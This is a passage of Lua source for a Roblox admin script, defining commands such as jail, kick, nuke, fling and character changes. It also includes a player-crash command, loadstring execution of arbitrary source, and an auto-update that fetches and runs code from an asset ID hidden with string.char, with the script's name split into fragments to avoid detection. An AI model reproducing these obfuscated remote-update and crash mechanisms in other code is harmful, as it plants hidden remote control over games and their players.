952 local Event = CORE:CreateRemoteEvent(Obj, EventName)
953 return Event.OnServerEvent:connect(function(Player, ...)
954 Func(...)
955 end)
956 else
957 return Obj[EventName]:connect(Func)
958 end
959 end
960 if NewThread then
961 Spawn(Handle)
962 else
963 Handle()
964 end
965end
966
967function CORE:HandleError(Error, Speaker)
968 local Return = ""
969 if not Error or Error == "" then
970 Return = "Unknown Error"
971 else
972 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
973 end
974 if Speaker then
975 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
976 end
977 return Return
978end
979
980local function ExecuteSafe(Source, Speaker) -- no CORE
981 local Script, Error = loadstring(Source)
982 if Error then
983 return false, CORE:HandleError(Error, Speaker)
984 else
985 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
986 getfenv(Script).Server, getfenv(Script).script = Server,script
987 if Speaker then
988 getfenv(Script).print = function(...)
989 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
990 end
991 getfenv(Script).print_array = function(List)
992 if type(List) == "table" then
993 GUI:ListGui(Speaker, "Listed Table", List, "Output")
994 end
995 end
996 end
997
998 local Suc, Error = ypcall(coroutine.wrap(Script))
999
1000 if not Suc then
1001 Error = CORE:HandleError(Error, Speaker)
1002 end
1003
1004 return Suc,Error
1005 end
1006end
1007
1008function CORE:GetTime(Regular, FullDate)
1009 if Regular == nil then Regular = true end
1010 local Meridiem = ""
1011 if Regular == true then Meridiem = " AM" end
1012 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
1013 local Hour = math.floor(SecondsOfToday / (60*60))
1014 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
1015 local Second = math.floor(math.fmod(SecondsOfToday, 60))
1016 if Hour > 12 and Regular == true then
1017 Hour = Hour - 12
1018 Meridiem = " PM"
1019 end
1020 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
1021 if #Hour <= 1 then Hour = "0"..Hour end
1022 if #Minute <= 1 then Minute = "0"..Minute end
1023 if #Second <= 1 then Second = "0"..Second end
1024 local Return = Hour..":"..Minute..":"..Second..Meridiem
1025 if FullDate == true and Date then Return = Date.." "..Return end
1026 return Return
1027end
1028
1029function CORE:RemoveAdmin(Speaker)
1030 local Answer = true -- false
1031 if not CORE:NilPlayer(Speaker) then
1032 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
1033 end
1034 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
1035 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
1036 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
1037 for _,Item in pairs(Player:GetChildren()) do
1038 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
1039 Item:Destroy()
1040 end
1041 end
1042 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
1043 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
1044 GUI:Destroy()
1045 end
1046 end
1047 end end
1048 for _,Car in pairs(Cars) do
1049 Car:Destroy()
1050 end
1051 CORE:FixLighting()
1052 while wait() do
1053 if script:FindFirstChild("Override") then script.Override.Value = true end
1054 Settings,CORE,IRC = nil,{},{}
1055 if Sound then Sound:Stop() end
1056 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
1057 script:ClearAllChildren() script:Destroy() script.Disabled = true
1058 end
1059 end
1060end
1061
1062function CORE:MakeBase()
1063 for _,Get in pairs(Workspace:GetChildren()) do
1064 if Get.Name == "Base" or Get.Name == "BasePlate" then
1065 Get:Destroy()
1066 end
1067 end
1068 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
1069end
1070
1071function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
1072 if IsAbusive == nil then IsAbusive = false end
1073 if Commands[CommandName] then table.remove(Commands[CommandName]) end
1074 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
1075end
1076
1077function CORE:FixLighting() coroutine.wrap(function()
1078 ModLighting = false
1079 wait(0.2)
1080 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
1081 Server.Lighting.FogColor = Color3.new(0,0,0)
1082 Server.Lighting.Brightness = 1
1083 Server.Lighting.TimeOfDay = 14
1084 Server.Lighting.FogEnd = 100000
1085end)() end
1086
1087function CORE:Round(Number)
1088 if Number >= 0.5 then
1089 return math.ceil(Number)
1090 elseif Number < 0.5 then
1091 return math.floor(Number)
1092 end
1093end
1094
1095local AdminID,Got = nil,false
1096repeat wait()
1097 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
1098until Got == true
1099
1100function CORE:GetTable(ID)
1101 local Thing = nil
1102 repeat wait()
1103 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
1104 until Thing
1105 return Thing
1106end
1107
1108function CORE:InAdminGroup(Speaker)
1109 local IsIn = false
1110 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
1111 if Speaker:IsInGroup(Get) then
1112 IsIn = true
1113 end
1114 end
1115 if IsIn == true then
1116 return true
1117 else
1118 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
1119 return false
1120 end
1121end
1122
1123function CORE:ReverseTable(Table)
1124 if type(Table) ~= "table" then return Table end
1125 local NewTable = {}
1126 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
1127 return NewTable
1128end
1129
1130function CORE:Log(LogTable, Player, Chat)
1131 local PlayerName = tostring(Player)
1132 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1133 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1134end
1135
1136function CORE:Jail(Player)
1137 if not Player then return nil end
1138 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1139 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1140 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1141 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1142 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1143 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1144 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1145 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1146 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1147 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1148 Cell:MoveTo(Vector3.new(0,3,0))
1149
1150 if Player.Character and Player.Character:FindFirstChild("Torso") then
1151 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1152 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1153 end
1154 table.insert(Dispose, Cell)
1155 Jails[Player.Name] = Cell
1156end
1157
1158function CORE:UnJail(Player)
1159 if not Player then return nil end
1160 if Jails[Player.Name] then
1161 Jails[Player.Name]:Destroy()
1162 Jails[Player.Name] = nil
1163 end
1164end
1165
1166function CORE:ChangeName(Player, NewName)
1167 if not Player or not NewName then return nil end
1168 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1169 local NewName = STRING:FormatReplace(Player, NewName)
1170
1171 for _,Obj in pairs(Player.Character:GetChildren()) do
1172 if Obj.Name == "Label" then Obj:Destroy() end
1173 end
1174
1175 local Head = Player.Character.Head
1176 local HeadClone = Head:Clone()
1177
1178 -- make actual head invisible
1179 Head.Transparency = 1
1180 ypcall(function() Head.face.Transparency = 1 end)
1181
1182 -- make fake head visible
1183 HeadClone.Transparency = 0
1184 ypcall(function() HeadClone.face.Transparency = 0 end)
1185
1186 local Label = Instance.new("Model", Player.Character)
1187 Label.Name = "Label"
1188
1189 local Model = Instance.new("Model", Label)
1190 Model.Name = NewName
1191
1192 local HumanoidClone = Instance.new("Humanoid", Model)
1193 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1194
1195 HeadClone.Position = Vector3.new(0,100,0)
1196 HeadClone.CanCollide = false
1197 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1198
1199
1200 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1201 HeadClone.Parent = Model
1202 local Weld = Instance.new("Weld", HeadClone)
1203 Weld.Part0 = HeadClone
1204 Weld.Part1 = Head
1205 end)
1206 end
1207end
1208
1209function CORE:UpdateAdmin()
1210 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1211 return nil
1212 end
1213 local UpdateModel = AdminID
1214 if UpdateModel == 0 then return end
1215 local NewAdminModel = nil
1216 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1217 if NewAdminModel then
1218 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1219 if NewAdmin then
1220 local NewVersion = NewAdmin:FindFirstChild("Version")
1221 if NewVersion.Value ~= CORE.Version.Value then
1222 if ExploitModule then
1223 ExploitModule.Disabled = true
1224 ExploitModule:Destroy()
1225 end
1226 NewAdmin.Disabled = true
1227 NewAdmin.Parent = Workspace
1228 if not Settings then
1229 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1230 if NewSettings then NewSettings.Parent = Workspace end
1231 end
1232 wait() NewAdmin.Disabled = false
1233 CORE:RemoveAdmin()
1234 else
1235 NewAdminModel:Destroy()
1236 end
1237 end
1238 end
1239end
1240
1241function CORE:UnpackPlayers(Players)
1242 local PlayerNames = ""
1243 for Num,Player in pairs(Players) do
1244 if Player ~= nil then
1245 if Num ~= #Players then
1246 PlayerNames = PlayerNames..Player.Name..", "
1247 else
1248 PlayerNames = PlayerNames..Player.Name
1249 end
1250 end
1251 end
1252 return PlayerNames
1253end
1254
1255function CORE:GetValue(Value)
1256 if Value:IsA("StringValue") then
1257 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1258 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1259 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1260 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1261 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1262 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1263 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1264 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1265 if Admin == Value.Value then
1266 table.remove(Settings.Ranks["Admin"],Num)
1267 end
1268 end
1269 end end
1270 end
1271end
1272
1273function CORE:GetPlayer(ID)
1274 local Return = {"Unknown", ID}
1275 if tonumber(ID) then
1276 for _,Data in pairs(CharacterCache) do
1277 if ID == Data[2] then
1278 return Data
1279 end
1280 end
1281 ypcall(function()
1282 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1283 if Name then
1284 local Data = {Name, ID}
1285 table.insert(CharacterCache, Data)
1286 Return = Data
1287 end
1288 end)
1289 else
1290 local Name = tostring(ID)
1291 for _,Data in pairs(CharacterCache) do
1292 if string.lower(Name) == string.lower(Data[1]) then
1293 return Data
1294 end
1295 end
1296 ypcall(function()
1297 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1298 if PlayerID then
1299 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1300 local Data = {Name, PlayerID}
1301 table.insert(CharacterCache, Data)
1302 Return = Data
1303 end
1304 end)
1305 end
1306
1307 return Return
1308end
1309
1310function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1311 if ID and #tostring(ID) >= 1 then
1312 local PlayerName = nil
1313
1314 local Players = STRING:Scan(ID, Speaker)
1315 if #Players >= 1 then -- if player is found in server
1316 ID = Players[1].UserId
1317 elseif tonumber(ID) then
1318 local Data = CORE:GetPlayer(ID)
1319 PlayerName = Data[1]
1320 else
1321 local Data = CORE:GetPlayer(tostring(ID))
1322 PlayerName = Data[1]
1323 ID = Data[2]
1324 end
1325
1326 if tonumber(ID) == 20018 then -- exploding easter bunny
1327 local OldID = ID
1328 ID = 1
1329 if Speaker then
1330 if RANK:GetRank(Speaker) == "Member" then
1331 coroutine.wrap(function()
1332 wait(1)
1333 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1334 end)()
1335 else ID = OldID
1336 end
1337 end
1338 elseif tonumber(ID) == 1311 then -- ffjosh
1339 local OldID = ID
1340 ID = 1
1341 if Speaker then
1342 if RANK:GetRank(Speaker) == "Member" then
1343 coroutine.wrap(function()
1344 wait(1)
1345 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1346 end)()
1347 else ID = OldID
1348 end
1349 end
1350 end
1351
1352 if tonumber(ID) then
1353 local Position = nil
1354 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1355 if ManualPos then
1356 Position = ManualPos
1357 else
1358 Position = Player.Character.Torso.Position
1359 end
1360 end
1361 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1362 wait() Player:LoadCharacter() wait()
1363 if Position then Player.Character:MoveTo(Position) end
1364 if not Perm then
1365 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1366 end
1367 if NameChar and PlayerName then
1368 wait(2)
1369 CORE:ChangeName(Player, PlayerName)
1370 end
1371 end
1372 end
1373end)() end
1374
1375function CORE:GenerateShield(Player)
1376 if not Player then return nil end
1377 if not Player.Character then return nil end
1378 local Torso = Player.Character:FindFirstChild("Torso")
1379 if not Torso then return nil end
1380
1381 local Shield = Player.Character:FindFirstChild("Shield")
1382 if Shield then Shield:Destroy() end
1383
1384 Shield = Instance.new("Part", Player.Character)
1385 Shield.Name = "Shield"
1386 Shield.Locked = true
1387 Shield.CanCollide = false
1388 Shield.Size = Vector3.new(10,10,10)
1389 Shield.Shape = "Ball"
1390 Shield.Color = GUI:GetColor()
1391 Shield.Transparency = 0.5
1392 Shield.TopSurface = "Smooth"
1393 Shield.BottomSurface = "Smooth"
1394 Shield.Anchored = true
1395 Shield.Position = Torso.Position
1396
1397 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1398 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1399
1400 Hum:Play()
1401
1402 Shield.Touched:connect(function(Part)
1403 if Part.Parent ~= Server.Workspace then
1404 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1405 if Humanoid then
1406 local Char = Humanoid.Parent
1407 if Char:IsA("Model") and Humanoid.Health > 0 then
1408 if Char ~= Player.Character then
1409 Char:BreakJoints()
1410 Zap:Play()
1411 end
1412 end
1413 end
1414 end
1415 end)
1416
1417 coroutine.wrap(function() repeat wait()
1418 Shield.CFrame = Torso.CFrame
1419 until Torso.Parent == nil or Shield.Parent == nil end)()
1420end
1421
1422function CORE:FlingPlayer(Player)
1423 if Player and Player.Character then
1424 if Player.Character:FindFirstChild("Torso") then
1425 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1426 Fling.Name = "Fling"
1427 Fling.force = Vector3.new(10000,10000,10000)
1428 end
1429 end
1430end
1431
1432function CORE:Kick(Player, CustomMessage)
1433 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1434 coroutine.wrap(function()
1435 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1436 wait(1)
1437 Player:Kick(CustomMessage)
1438 end)()
1439end
1440
1441function CORE:Crash(Player)
1442 local Parent = Player
1443 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1444 elseif Player.Character then Parent = Player.Character end
1445
1446 CORE:ExecuteResource("Crash", Parent)
1447end
1448
1449function CORE:RestoreCamera(Player)
1450 if Player.Backpack then
1451 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1452 end
1453end
1454
1455function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1456 local function ScanInstance(Object)
1457 if #Object:GetChildren() > 0 then
1458 for _,Obj in pairs(Object:GetChildren()) do
1459 local IsType = false
1460 if ObjTypes and #ObjTypes > 0 then
1461 for _,ObjType in pairs(ObjTypes) do
1462 if Obj:IsA(ObjType) then
1463 IsType = true
1464 break
1465 end
1466 end
1467 else
1468 IsType = true
1469 end
1470 if IsType == true then
1471 ActiveFunc(Obj)
1472 end
1473 ScanInstance(Obj)
1474 end
1475 end
1476 end
1477 ScanInstance(BaseObj)
1478end
1479
1480function CORE:AnchorPlayer(Player)
1481 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1482
1483 Player.Character.Humanoid.WalkSpeed = 0
1484 for _,Object in pairs(Player.Character:GetChildren()) do
1485 if Object:IsA("BasePart") then
1486 Object.Anchored = true
1487 end
1488 end
1489end
1490
1491function CORE:UnanchorPlayer(Player)
1492 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1493
1494 Player.Character.Humanoid.WalkSpeed = 16
1495 for _,Object in pairs(Player.Character:GetChildren()) do
1496 if Object:IsA("BasePart") then
1497 Object.Anchored = false
1498 end
1499 end
1500end
1501
1502function CORE:InvisiblePlayer(Player)
1503 if not Player or not Player.Character then return end
1504
1505 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1506end
1507
1508function CORE:VisiblePlayer(Player)
1509 if not Player or not Player.Character then return end
1510
1511 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1512end
1513
1514function CORE:Nuke(Player) coroutine.wrap(function()
1515 local Pos = CFrame.new(0,1,0)
1516 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1517 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1518 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1519 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1520 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1521 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1522
1523 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1524
1525 Server.Lighting.Brightness = 5
1526 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1527 Server.OutdoorAmbient = Color3.new(1,1,1)
1528
1529 local Exp = Instance.new("Explosion", Server.Workspace)
1530 Exp.Position = Pos.p
1531 Exp.BlastPressure = 10000000
1532 Exp.BlastRadius = 1000000
1533 Exp.Hit:connect(function(Part)
1534 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1535 ypcall(function()
1536 Part.Anchored = false
1537 Part.BrickColor = BrickColor.new("Black")
1538 Part.Material = "Slate"
1539 Part:BreakJoints()
1540 end)
1541 end
1542 end)
1543
1544 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1545 BoomSound:Play()
1546 for i = 0,100,0.5 do
1547 Blast.Anchored = true
1548 Wave.Anchored = true
1549 BlastMesh.Scale = Vector3.new(i,i,i)
1550 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1551 Blast.CFrame = Pos
1552 wait()
1553 end
1554 BoomSound:Stop()
1555 Blast:Destroy()
1556 Wave:Destroy()
1557 wait()
1558 BoomSound:Destroy()
1559 Effect:Destroy()
1560 for i = 10,5,-1 do
1561 Server.Lighting.Brightness = (i-5) + 1
1562 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1563 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1564 wait(0.05)
1565 end
1566end)() end
1567
1568function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1569 local AssetID = tonumber(AssetID)
1570 local Item = nil
1571 if AssetID and AssetID ~= 1055299 then
1572 local CanInsert = true
1573 if AbuseMode then
1574 for _,ID in pairs(RemoteAbuseGear) do
1575 if AssetID == tonumber(ID) then CanInsert = false break end
1576 end
1577 for _,ID in pairs(Settings.AbusableGear) do
1578 if AssetID == tonumber(ID) then CanInsert = false break end
1579 end
1580 end
1581 if CanInsert then
1582 Item = Server.IS:LoadAsset(AssetID)
1583 if GetFirstChild then
1584 Item = Item:GetChildren()[1]
1585 if FirstChildTypes and Item then
1586 local ValidType = false
1587 for _,Type in pairs(FirstChildTypes) do
1588 if Item:IsA(Type) then
1589 ValidType = true
1590 break
1591 end
1592 end
1593 if ValidType == false then
1594 Item = nil
1595 end
1596 end
1597 end
1598 if Item and Parent then
1599 Item.Parent = Parent
1600 end
1601 end
1602 end
1603 return Item
1604end
1605
1606function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1607 if not Player or not Player.Character then return nil end
1608 PID = tonumber(PID)
1609 for _,Obj in pairs(Player.Character:GetChildren()) do
1610 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1611 end
1612 if PID then
1613 -- back when we needed HttpService to get packages.
1614 --[[
1615 if PackageCache[PID] then
1616 for _,ID in pairs(PackageCache[PID]) do
1617 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1618 end
1619 else
1620 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1621 if IDsJSON then
1622 local IDs = REMOTE:Decode(IDsJSON)
1623 if IDs then
1624 if not IDs["Error"] then
1625 table.insert(PackageCache, IDs)
1626 for _,ID in pairs(IDs) do
1627 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1628 end
1629 end
1630 end
1631 end
1632 end
1633 ]]
1634 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1635 local IDs = {}
1636 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1637 if #IDs > 0 then
1638 for _,ID in pairs(IDs) do
1639 local PackagePart = CORE:Insert(ID)
1640 for _,Obj in pairs(PackagePart:GetChildren()) do
1641 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1642 Obj.Parent = Player.Character
1643 elseif Obj:IsA("Folder") then
1644 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1645 Obj:GetChildren()[1].Parent = Player.Character
1646 end
1647 end
1648 end
1649 end
1650 end
1651 end
1652end)() end
1653
1654function CORE:ChangeBet(Bet)
1655 if tostring(Bet) and Bet ~= Settings.Bet then
1656 for Index,Data in pairs(Commands) do
1657 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1658 end
1659 Settings.Bet = Bet
1660 end
1661end
1662
1663function CORE:ResetLighting()
1664 ModLighting = false wait(0.2) ModLighting = true
1665end
1666
1667function CORE:Fly(Player, Force)
1668 if Player and Player.Character then
1669 local StopFly = Instance.new("RemoteFunction", Player.Character)
1670 StopFly.Name = "StopMMLFly"
1671 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1672 end
1673end
1674
1675function CORE:GiveTools(Player, Type)
1676 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1677 Type = string.lower(Type)
1678 local _,RankNum = RANK:GetRank(Player)
1679 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1680 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1681
1682 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1683 for Name,Type in pairs(BaseBuildTools) do
1684 local Tool = Instance.new("HopperBin", Player.Backpack)
1685 Tool.Name = Name
1686 Tool.BinType = Type
1687 end
1688 elseif Type == "psbtools" then
1689 for _,Tool in pairs(BuildTools) do
1690 CORE:Insert(Tool, Player.Backpack, true)
1691 end
1692 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1693 if F3X then
1694 local F3X = F3X:Clone()
1695 F3X.Parent = Player.Backpack
1696 end
1697 elseif Type == "btools" then
1698 if F3X then
1699 local F3X = F3X:Clone()
1700 F3X.Parent = Player.Backpack
1701 end
1702 for Name,Type in pairs(BaseBuildTools) do
1703 local Tool = Instance.new("HopperBin", Player.Backpack)
1704 Tool.Name = Name
1705 Tool.BinType = Type
1706 end
1707 for _,Tool in pairs(BuildTools) do
1708 CORE:Insert(Tool, Player.Backpack, true)
1709 end
1710 else
1711 for _,Region in pairs(ToolRegions) do
1712 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1713 if Type == "all" then
1714 local NewItem = Item:Clone()
1715 NewItem.Parent = Player.Backpack
1716 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1717 local NewItem = Item:Clone()
1718 NewItem.Parent = Player.Backpack
1719 end
1720 end)
1721 end
1722 end
1723end
1724
1725function CORE:Scale(Player, ScalePercent)
1726 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1727 local Ratio = ScalePercent/100
1728 if Ratio < 0.05 then Ratio = 0.05 end
1729 if Ratio > 100 then Ratio = 100 end
1730 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1731 local Char = Player.Character
1732
1733 local Clean = Char:FindFirstChild("Clean")
1734 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1735 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1736
1737 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1738 local Welds = {}
1739 local Parts = {}
1740
1741 local function Handle(Obj)
1742 if Obj:IsA("BasePart") and not JustWeld then
1743 table.insert(Parts, Obj)
1744 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1745 if Obj.Name == "MML Mesh" then
1746 Obj:Destroy()
1747 end
1748 if Obj.MeshType == Enum.MeshType.FileMesh then
1749 Obj.Offset = Obj.Offset * ScaleRatio
1750 Obj.Scale = Obj.Scale * ScaleRatio
1751 elseif Ratio < 1 then
1752 Obj.Offset = Obj.Offset * ScaleRatio
1753 Obj.Scale = Obj.Scale * ScaleRatio
